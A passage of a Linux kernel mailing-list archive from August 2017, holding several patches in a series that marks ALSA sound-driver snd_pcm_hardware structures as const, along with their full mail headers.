        b=nV9vF1uxDSDceqewXS+MPNiCK+lvAmXLzQcF2ZxgmIjV7ksHnSsUj+toKo3bPKG9IF
         j+TvRFoa+5AKR4f7VR/6/fZEI43Ou36CNuqM6dSS6aywIJYirAN4y73P5yTS3uxKL7LM
         HOmzV0oOwStwYQuDFY4CscxbQHJaKqeyqR6dstrs8staxkc0/kCLxBdOSbWQEoPeuz9L
         8JFpWNuKQxvYzm38UHoJSKQMOfIGzQGjoplXqFDK18s47OuGB4N8cML2mfI4aOk7TnJx
         FxAukTaKyIVIOBRuH6oZt9SGZRuHA+vtXadpGFiS78jqE26fQH0fHCBDm5XoYbpDN+vW
         VbAg==
X-Gm-Message-State: AHYfb5g24ievXAAnSjHvtR7j71VQmwRPXYPI7uMu7HYTBp6QrnBPQ727
        mz7GxpXqvmsJuw==
X-Received: by 10.84.218.4 with SMTP id q4mr5013479pli.202.1502961457967;
        Thu, 17 Aug 2017 02:17:37 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id w1sm5450647pge.59.2017.08.17.02.17.32
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:17:37 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:47:30 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27685 gmane.linux.alsa.devel:170784 gmane.linux.kernel:2550893 gmane.linux.ports.ppc64.devel:146501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27685>

Make these const as they are only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/ppc/pmac.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/ppc/pmac.c b/sound/ppc/pmac.c
index a5843fc..45f0295 100644
--- a/sound/ppc/pmac.c
+++ b/sound/ppc/pmac.c
@@ -509,7 +509,7 @@ static void snd_pmac_pcm_update(struct snd_pmac *chip, struct pmac_stream *rec)
  * hw info
  */
 
-static struct snd_pcm_hardware snd_pmac_playback =
+static const struct snd_pcm_hardware snd_pmac_playback =
 {
 	.info =			(SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP |
@@ -528,7 +528,7 @@ static void snd_pmac_pcm_update(struct snd_pmac *chip, struct pmac_stream *rec)
 	.periods_max =		PMAC_MAX_FRAGS,
 };
 
-static struct snd_pcm_hardware snd_pmac_capture =
+static const struct snd_pcm_hardware snd_pmac_capture =
 {
 	.info =			(SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP |
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 04/12] ALSA: isa: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:52 +0530
Lines: 208
Approved: news@gmane.org
Message-ID: <1502961360-22063-5-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502961468 4169 195.159.176.226 (17 Aug 2017 09:17:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:17:48 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
 tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, alsa-devel@alsa-project.org,
 linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org
Original-X-From: alsa-devel-bounces@alsa-project.org Thu Aug 17 11:17:42 2017
Return-path: <alsa-devel-bounces@alsa-project.org>
Envelope-to: glad-alsa-devel-2@m.gmane.org
Original-Received: from alsa0.perex.cz ([77.48.224.243])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <alsa-devel-bounces@alsa-project.org>)
	id 1diGvl-0000I9-GP
	for glad-alsa-devel-2@m.gmane.org; Thu, 17 Aug 2017 11:17:33 +0200
Original-Received: from alsa0.perex.cz (localhost [127.0.0.1])
	by alsa0.perex.cz (Postfix) with ESMTP id F0C5526765D;
	Thu, 17 Aug 2017 11:17:27 +0200 (CEST)
X-Original-To: alsa-devel@alsa-project.org
Delivered-To: alsa-devel@alsa-project.org
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
 id 75F06267654; Thu, 17 Aug 2017 11:17:20 +0200 (CEST)
Original-Received: from mail-pg0-f65.google.com (mail-pg0-f65.google.com [74.125.83.65])
 by alsa0.perex.cz (Postfix) with ESMTP id CEF812675FC
 for <alsa-devel@alsa-project.org>; Thu, 17 Aug 2017 11:17:04 +0200 (CEST)
Original-Received: by mail-pg0-f65.google.com with SMTP id y129so8926611pgy.3
 for <alsa-devel@alsa-project.org>; Thu, 17 Aug 2017 02:17:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=jUVZYB1oCPPvB+6omhVOhJa0+w2N7/PN2cEx74+seOU=;
 b=bYNGFdWeQl2xkMLSbDi37jOyHbC/UgXW2fWVnnJMDLMJjr16Nn/NhCRXyjHDqclTO5
 Mjt+pVWu2VJw1JCog/FjoMYWPxJy1zP5VQ9auSfMMGC2EjwD1R+ckrrB46U+vj/E9Z9O
 LuePRn6aVzsB0o4hpceGH3RpkaESRJXr1y4UZ4T70QTw91ykBAzGp5YsWr/UMWU0d4Qa
 2lbKgA4p3UNsejcmvmGOY/4T2Y9xZISg+Q09wspYi01u3B2OcFDVmIOttB/L+M09Q0Eh
 pQoDr57G34Dkeo59JVFh1hpc2oiOIZFFB3hMRdnrtKKLedp2GgHD584qn+v1OB+iBX/E
 AQ3w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=jUVZYB1oCPPvB+6omhVOhJa0+w2N7/PN2cEx74+seOU=;
 b=k8dFvEGHEO+Sq3BSWfMbF//wAfBn5hQzLXLTTplsSM3VUPAoOPoDoBIhAN6JLQRonY
 7GafOLxBdPilH3ejnoJNBPV1Ft/eQ4YPghkeD4tiWddXTLAnyWkMr94VJ1pupFPUWCpL
 /9i9n5xbZ+RpjB7kMUJURVUtOdOAEXEqTPSqlKui3ZPcaKLmTvLIFSXdjK45TJtvtgh0
 3SqZbt4vGReKg2qJYiD1Top4c6IFcQwpOIAX8A/LYzNuGoeR2+WLn3ilSDBxdH+HHyQ7
 brKKy1gUhgUFaCE1vIa/PwfU29djAh0PNCBZcQGOO+sQ0bXG1/BFCUzczxN1mzHTRiZ/
 5KHg==
X-Gm-Message-State: AHYfb5i09B4ocY2mkJfwtmJnhyLJtVZ1X2isVLMCRFsbg5ZiVH/HCsFA
 jHT3re4BrkFDew==
X-Received: by 10.99.97.10 with SMTP id v10mr991156pgb.199.1502961423340;
 Thu, 17 Aug 2017 02:17:03 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
 by smtp.gmail.com with ESMTPSA id q133sm5577031pfq.31.2017.08.17.02.16.57
 (version=TLS1 cipher=AES128-SHA bits=128/128);
 Thu, 17 Aug 2017 02:17:02 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation);
 Thu, 17 Aug 2017 14:46:55 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
X-BeenThere: alsa-devel@alsa-project.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: "Alsa-devel mailing list for ALSA developers -
 http://www.alsa-project.org" <alsa-devel.alsa-project.org>
List-Unsubscribe: <http://mailman.alsa-project.org/mailman/options/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=unsubscribe>
List-Archive: <http://mailman.alsa-project.org/pipermail/alsa-devel/>
List-Post: <mailto:alsa-devel@alsa-project.org>
List-Help: <mailto:alsa-devel-request@alsa-project.org?subject=help>
List-Subscribe: <http://mailman.alsa-project.org/mailman/listinfo/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=subscribe>
Errors-To: alsa-devel-bounces@alsa-project.org
Original-Sender: alsa-devel-bounces@alsa-project.org
Xref: news.gmane.org gmane.linux.alsa.devel:170785 gmane.linux.kernel:2550894 gmane.linux.ports.parisc:27686 gmane.linux.ports.ppc64.devel:146502
Archived-At: <http://permalink.gmane.org/gmane.linux.alsa.devel/170785>

Make these const as they are only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/isa/ad1816a/ad1816a_lib.c | 4 ++--
 sound/isa/es1688/es1688_lib.c   | 4 ++--
 sound/isa/es18xx.c              | 4 ++--
 sound/isa/gus/gus_pcm.c         | 4 ++--
 sound/isa/msnd/msnd.c           | 4 ++--
 sound/isa/sb/emu8000_pcm.c      | 2 +-
 sound/isa/sb/sb16_main.c        | 4 ++--
 sound/isa/sb/sb8_main.c         | 4 ++--
 sound/isa/wss/wss_lib.c         | 4 ++--
 9 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/sound/isa/ad1816a/ad1816a_lib.c b/sound/isa/ad1816a/ad1816a_lib.c
index 5c6df15..9232014 100644
--- a/sound/isa/ad1816a/ad1816a_lib.c
+++ b/sound/isa/ad1816a/ad1816a_lib.c
@@ -339,7 +339,7 @@ static irqreturn_t snd_ad1816a_interrupt(int irq, void *dev_id)
 }
 
 
-static struct snd_pcm_hardware snd_ad1816a_playback = {
+static const struct snd_pcm_hardware snd_ad1816a_playback = {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
 	.formats =		(SNDRV_PCM_FMTBIT_MU_LAW | SNDRV_PCM_FMTBIT_A_LAW |
@@ -358,7 +358,7 @@ static irqreturn_t snd_ad1816a_interrupt(int irq, void *dev_id)
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_ad1816a_capture = {
+static const struct snd_pcm_hardware snd_ad1816a_capture = {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
 	.formats =		(SNDRV_PCM_FMTBIT_MU_LAW | SNDRV_PCM_FMTBIT_A_LAW |
diff --git a/sound/isa/es1688/es1688_lib.c b/sound/isa/es1688/es1688_lib.c
index ec7e68b..f9c0662 100644
--- a/sound/isa/es1688/es1688_lib.c
+++ b/sound/isa/es1688/es1688_lib.c
@@ -526,7 +526,7 @@ static snd_pcm_uframes_t snd_es1688_capture_pointer(struct snd_pcm_substream *su
 
  */
 
-static struct snd_pcm_hardware snd_es1688_playback =
+static const struct snd_pcm_hardware snd_es1688_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
@@ -544,7 +544,7 @@ static snd_pcm_uframes_t snd_es1688_capture_pointer(struct snd_pcm_substream *su
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_es1688_capture =
+static const struct snd_pcm_hardware snd_es1688_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
diff --git a/sound/isa/es18xx.c b/sound/isa/es18xx.c
index 77023e4..cb9c9a1 100644
--- a/sound/isa/es18xx.c
+++ b/sound/isa/es18xx.c
@@ -838,7 +838,7 @@ static snd_pcm_uframes_t snd_es18xx_capture_pointer(struct snd_pcm_substream *su
 	return pos >> chip->dma1_shift;
 }
 
-static struct snd_pcm_hardware snd_es18xx_playback =
+static const struct snd_pcm_hardware snd_es18xx_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_RESUME |
@@ -858,7 +858,7 @@ static snd_pcm_uframes_t snd_es18xx_capture_pointer(struct snd_pcm_substream *su
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_es18xx_capture =
+static const struct snd_pcm_hardware snd_es18xx_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_RESUME |
diff --git a/sound/isa/gus/gus_pcm.c b/sound/isa/gus/gus_pcm.c
index 36e852f..131b289 100644
--- a/sound/isa/gus/gus_pcm.c
+++ b/sound/isa/gus/gus_pcm.c
@@ -650,7 +650,7 @@ static void snd_gf1_pcm_interrupt_dma_read(struct snd_gus_card * gus)
 	}
 }
 
-static struct snd_pcm_hardware snd_gf1_pcm_playback =
+static const struct snd_pcm_hardware snd_gf1_pcm_playback =
 {
 	.info =			SNDRV_PCM_INFO_NONINTERLEAVED,
 	.formats		= (SNDRV_PCM_FMTBIT_S8 | SNDRV_PCM_FMTBIT_U8 |
@@ -668,7 +668,7 @@ static void snd_gf1_pcm_interrupt_dma_read(struct snd_gus_card * gus)
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_gf1_pcm_capture =
+static const struct snd_pcm_hardware snd_gf1_pcm_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
diff --git a/sound/isa/msnd/msnd.c b/sound/isa/msnd/msnd.c
index ae9562c..569897f 100644
--- a/sound/isa/msnd/msnd.c
+++ b/sound/isa/msnd/msnd.c
@@ -437,7 +437,7 @@ static void snd_msnd_capture_reset_queue(struct snd_msnd *chip,
 	}
 }
 
-static struct snd_pcm_hardware snd_msnd_playback = {
+static const struct snd_pcm_hardware snd_msnd_playback = {
 	.info =			SNDRV_PCM_INFO_MMAP |
 				SNDRV_PCM_INFO_INTERLEAVED |
 				SNDRV_PCM_INFO_MMAP_VALID |
@@ -456,7 +456,7 @@ static void snd_msnd_capture_reset_queue(struct snd_msnd *chip,
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_msnd_capture = {
+static const struct snd_pcm_hardware snd_msnd_capture = {
 	.info =			SNDRV_PCM_INFO_MMAP |
 				SNDRV_PCM_INFO_INTERLEAVED |
 				SNDRV_PCM_INFO_MMAP_VALID |
diff --git a/sound/isa/sb/emu8000_pcm.c b/sound/isa/sb/emu8000_pcm.c
index 9409827..8f34551 100644
--- a/sound/isa/sb/emu8000_pcm.c
+++ b/sound/isa/sb/emu8000_pcm.c
@@ -157,7 +157,7 @@ static int calc_rate_offset(int hz)
 /*
  */
 
-static struct snd_pcm_hardware emu8k_pcm_hw = {
+static const struct snd_pcm_hardware emu8k_pcm_hw = {
 #ifdef USE_NONINTERLEAVE
 	.info =			SNDRV_PCM_INFO_NONINTERLEAVED,
 #else
diff --git a/sound/isa/sb/sb16_main.c b/sound/isa/sb/sb16_main.c
index 6fc6325..3e39ba2 100644
--- a/sound/isa/sb/sb16_main.c
+++ b/sound/isa/sb/sb16_main.c
@@ -473,7 +473,7 @@ static snd_pcm_uframes_t snd_sb16_capture_pointer(struct snd_pcm_substream *subs
 
  */
 
-static struct snd_pcm_hardware snd_sb16_playback =
+static const struct snd_pcm_hardware snd_sb16_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
@@ -491,7 +491,7 @@ static snd_pcm_uframes_t snd_sb16_capture_pointer(struct snd_pcm_substream *subs
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_sb16_capture =
+static const struct snd_pcm_hardware snd_sb16_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
diff --git a/sound/isa/sb/sb8_main.c b/sound/isa/sb/sb8_main.c
index f5d8f2d..d45df5c 100644
--- a/sound/isa/sb/sb8_main.c
+++ b/sound/isa/sb/sb8_main.c
@@ -447,7 +447,7 @@ static snd_pcm_uframes_t snd_sb8_capture_pointer(struct snd_pcm_substream *subst
 
  */
 
-static struct snd_pcm_hardware snd_sb8_playback =
+static const struct snd_pcm_hardware snd_sb8_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
@@ -466,7 +466,7 @@ static snd_pcm_uframes_t snd_sb8_capture_pointer(struct snd_pcm_substream *subst
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_sb8_capture =
+static const struct snd_pcm_hardware snd_sb8_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID),
diff --git a/sound/isa/wss/wss_lib.c b/sound/isa/wss/wss_lib.c
index 29adb01..8a85204 100644
--- a/sound/isa/wss/wss_lib.c
+++ b/sound/isa/wss/wss_lib.c
@@ -1452,7 +1452,7 @@ static int snd_wss_probe(struct snd_wss *chip)
 
  */
 
-static struct snd_pcm_hardware snd_wss_playback =
+static const struct snd_pcm_hardware snd_wss_playback =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID |
@@ -1472,7 +1472,7 @@ static int snd_wss_probe(struct snd_wss *chip)
 	.fifo_size =		0,
 };
 
-static struct snd_pcm_hardware snd_wss_capture =
+static const struct snd_pcm_hardware snd_wss_capture =
 {
 	.info =			(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 				 SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1


From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 09/12] ALSA: sh: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:57 +0530
Lines: 39
Approved: news@gmane.org
Message-ID: <1502961360-22063-10-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961475 5652 195.159.176.226 (17 Aug 2017 09:17:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:17:55 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:17:51 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGvw-0000OV-AZ
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:17:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752569AbdHQJRt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:17:49 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:34481 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751671AbdHQJRr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:17:47 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id y192so8933836pgd.1;
        Thu, 17 Aug 2017 02:17:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=tDAbz6/0zsg9Rm+tw3xnx+JhkTBas8vqZHL3gEV4yUU=;
        b=bpscVsrmQBEqM0Hs0Z3cfR6ZEllhIe2Pmo6GiAvGpVS7uQBF23iw2cI3MIbBo66nBH
         YFIwGqb/RHyQDmOAjQ7XAa7rYv1oLyUBl3JqbfFlWRXujnNL7uSTlWOyrJ50sqzv0qr1
         bU/N21T1Tj/LDJHTrR+kavQgPRGvb3W7fIql9+ztm4eovqDVXGmkW34v4DFjsZ5pkpuV
         XsgOcEXKXhtSjGFfoDRu1nmNbvzvA8UZEQ0q5hOV71ahc8XUPazHAMnz6zMHCTh9gHMA
         05fulDeVpRm5deeHc0ys+VNWR+x0cntIwY4pB5SjbCsuuls2ZoHdRNxd+Mwr54sgez8A
         FL8A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=tDAbz6/0zsg9Rm+tw3xnx+JhkTBas8vqZHL3gEV4yUU=;
        b=uSbB0esJKxaQYOMPf8jlmhjL2WwYcCoAGB/0hFGgfezXwQkL2qVb8ljO9Ovrcb8v0b
         WNDXDuVOfc7PRJl91X/wKGBCN03TAiMDagtLgZihoxrfuBHx096g4BBjd7JyudA03sf0
         AZHC5VJWK0Za+oIiBIIxHAAFUaqYzIv04X/2nuoRLHjFAsY5wzWR/e/82xBfRnSDKUm+
         P8ny4hdhRnyPUhLcVQVHAKJY0o5cab57/1bK83MRqPYkfPnt2I4JH/rsKaFPPd6vJBO5
         QkR1Q2TmzwidyBmk7uvNryMN8nXxw2dqDgdZFvD7fWkanHtglL1orT9AiukKxAYoD+5+
         LiMg==
X-Gm-Message-State: AHYfb5iFFDF3tCndF/M+t57kbYj9gBsqrKRWqzv4u9qNSfOGVXviamtg
        HjS96BwaUUb3zg==
X-Received: by 10.99.138.199 with SMTP id y190mr4006842pgd.287.1502961466468;
        Thu, 17 Aug 2017 02:17:46 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id 133sm5342198pgc.19.2017.08.17.02.17.40
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:17:45 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:47:38 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550895 gmane.linux.alsa.devel:170786 gmane.linux.ports.parisc:27687 gmane.linux.ports.ppc64.devel:146503
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550895>

Make these const as they are only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/sh/aica.c         | 2 +-
 sound/sh/sh_dac_audio.c | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/sh/aica.c b/sound/sh/aica.c
index ab4802d..822608d 100644
--- a/sound/sh/aica.c
+++ b/sound/sh/aica.c
@@ -211,7 +211,7 @@ static void aica_chn_halt(void)
 }
 
 /* ALSA code below */
-static struct snd_pcm_hardware snd_pcm_aica_playback_hw = {
+static const struct snd_pcm_hardware snd_pcm_aica_playback_hw = {
 	.info = (SNDRV_PCM_INFO_NONINTERLEAVED),
 	.formats =
 	    (SNDRV_PCM_FMTBIT_S8 | SNDRV_PCM_FMTBIT_S16_LE |
diff --git a/sound/sh/sh_dac_audio.c b/sound/sh/sh_dac_audio.c
index c1e00ed..a077f1c 100644
--- a/sound/sh/sh_dac_audio.c
+++ b/sound/sh/sh_dac_audio.c
@@ -93,7 +93,7 @@ static void dac_audio_set_rate(struct snd_sh_dac *chip)
 
 /* PCM INTERFACE */
 
-static struct snd_pcm_hardware snd_sh_dac_pcm_hw = {
+static const struct snd_pcm_hardware snd_sh_dac_pcm_hw = {
 	.info			= (SNDRV_PCM_INFO_MMAP |
 					SNDRV_PCM_INFO_MMAP_VALID |
 					SNDRV_PCM_INFO_INTERLEAVED |
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 05/12] ALSA: mips: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:53 +0530
Lines: 38
Approved: news@gmane.org
Message-ID: <1502961360-22063-6-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502961481 6662 195.159.176.226 (17 Aug 2017 09:18:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:18:01 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
 tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, alsa-devel@alsa-project.org,
 linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org
Original-X-From: alsa-devel-bounces@alsa-project.org Thu Aug 17 11:17:55 2017
Return-path: <alsa-devel-bounces@alsa-project.org>
Envelope-to: glad-alsa-devel-2@m.gmane.org
Original-Received: from alsa0.perex.cz ([77.48.224.243])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <alsa-devel-bounces@alsa-project.org>)
	id 1diGw3-0001GM-2j
	for glad-alsa-devel-2@m.gmane.org; Thu, 17 Aug 2017 11:17:51 +0200
Original-Received: from alsa0.perex.cz (localhost [127.0.0.1])
	by alsa0.perex.cz (Postfix) with ESMTP id D90F3267638;
	Thu, 17 Aug 2017 11:17:37 +0200 (CEST)
X-Original-To: alsa-devel@alsa-project.org
Delivered-To: alsa-devel@alsa-project.org
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
 id 8EE67267670; Thu, 17 Aug 2017 11:17:31 +0200 (CEST)
Original-Received: from mail-pg0-f66.google.com (mail-pg0-f66.google.com [74.125.83.66])
 by alsa0.perex.cz (Postfix) with ESMTP id 13F51267645
 for <alsa-devel@alsa-project.org>; Thu, 17 Aug 2017 11:17:12 +0200 (CEST)
Original-Received: by mail-pg0-f66.google.com with SMTP id 83so8929337pgb.4
 for <alsa-devel@alsa-project.org>; Thu, 17 Aug 2017 02:17:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=pgRDtZHKHPkJtFCElBMhiF1W5/7zPL8UmBjko0hqJYc=;
 b=G6p4mDGQeSGCC5zSQE2N8iA/8XHxwGpMFRSDG9k8Jaw2t81f3B6GgT5uQRgxjyrZOz
 eClcTztZTJ9lq6I0W2IfM+/wATEzQxMe9bp7mTUcoknCPuft39NrgLPM4NVxgeHfSBjJ
 /rjDAT3q/zz64BQ0jw2fWtwrxae/4HIXlWhKF5AgnE9YxZEEbMPcODYlmFQ5kI743SOe
 KGDnFfk9VeuB7Q8fbFQbNCkLJgCIxuJR6Kb0ZQgCqXtdqIt85tV6AJmaHlw0iQ/sgJf8
 hK80YRipz24v0QxvDUE/3i0kxicHB/qXXPvPjCesjY95D64HCA2a//rj1ugNJvrE1yd2
 vwZw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
